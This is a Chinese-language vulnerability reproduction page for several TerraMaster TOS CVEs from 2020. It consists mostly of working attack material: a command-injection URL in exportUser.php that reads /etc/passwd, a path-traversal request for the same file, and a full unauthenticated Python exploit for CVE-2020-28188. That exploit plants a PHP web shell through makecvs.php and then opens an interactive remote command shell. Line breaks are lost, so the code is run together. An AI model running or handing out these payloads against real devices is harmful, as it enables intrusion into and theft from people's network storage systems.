TerraMaster TOS 多个漏洞复现

TerraMaster TOS RCE CVE-2020-28188TerraMaster TOS 任意文件读取漏洞 CVE-2020-28187TerraMaster TOS 任意账号密码修改漏洞 CVE-2020-28186TerraMaster TOS 用户枚举漏洞 CVE-2020-28185TerraMaster TOS exportUser.php 远程命令执行

TerraMaster TOS exportUser.php 远程命令执行 CVE-2020-15568

<?phpinclude_once "./app.php"; // [1] autoload classesclass CSV_Writer{        ...    }    $type = $_GET['type'];    $csv = new CSV_Writer();if($type == 1){        $P = new person();        $data = $P->export_user($_GET['data']);        $csv->exportUser($data);    } else if($type == 2) {        $P = new person();        $data = $P->export_userGroup($_GET['data']);        $csv->exportUsergroup($data);    } else { // [2] type value is bigger than 2//xlsx通用下载        $type = 0;        $class = $_GET['cla'];        $fun = $_GET['func'];        $opt = $_GET['opt'];        $E = new $class();        $data = $E->$fun($opt); // [3] vulnerable code call        $csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);    }?>

http://xxx.xxx.xxx.xxx/include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)>pq.txt

http://xxx.xxx.xxx.xxx/include/pq.txt

TerraMaster TOS 用户枚举漏洞 CVE-2020-28185

TerraMaster TOS 任意账号密码修改漏洞 CVE-2020-28186

TerraMaster TOS 后台任意文件读取漏洞 CVE-2020-28187

/tos/index.php?editor/fileGet&filename=../../../../../../etc/passwd

TerraMaster TOS RCE CVE-2020-28188

# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)# Date: 12/12/2020# Exploit Author: IHTeam# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/# Vendor Homepage: https://www.terra-master.com/# Version: <= 4.2.06# Tested on: 4.1.30, 4.2.06#!/usr/bin/env python3import argparseimport requestsimport timeimport sysimport urllib.parsefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE")parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/")args = parser.parse_args()url = args.urlheaders = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}epoch_time = int(time.time())shell_filename = "debug"+str(epoch_time)+".php"def check_endpoint(url, headers):  response = requests.get(url+'/version', headers=headers, verify=False)if response.status_code == 200:    print("[+] TerraMaster TOS version: ", str(response.content))else:    print("n[-] TerraMaster TOS response code: ", response.status_code)    sys.exit()def upload_shell(url, headers, shell_filename):  payload = "http|echo "<?php echo(passthru(\$_GET['cmd']));?>" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||"  payload = urllib.parse.quote(payload, safe='')  print("[/] Uploading shell...")  response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)  time.sleep(1)  response = requests.get(url+'/'+shell_filename+'?cmd=cat /etc/passwd', headers=headers, verify=False)if ('root:' in str(response.content, 'utf-8')):    print("[+] Upload succeeded")else:    print("n[-] Error uploading shell: ", response.content)    sys.exit()def interactive_shell(url, headers, shell_filename, cmd):  response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)  print(str(response.text)+"n")def delete_shell(url, headers, shell_filename):  delcmd = "rm /usr/www/"+shell_filename  response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)  print("n[+] Shell deleted")upload_shell(url, headers, shell_filename)try:while True:    cmd = input("# ")    interactive_shell(url, headers, shell_filename, cmd)except:  delete_shell(url, headers, shell_filename)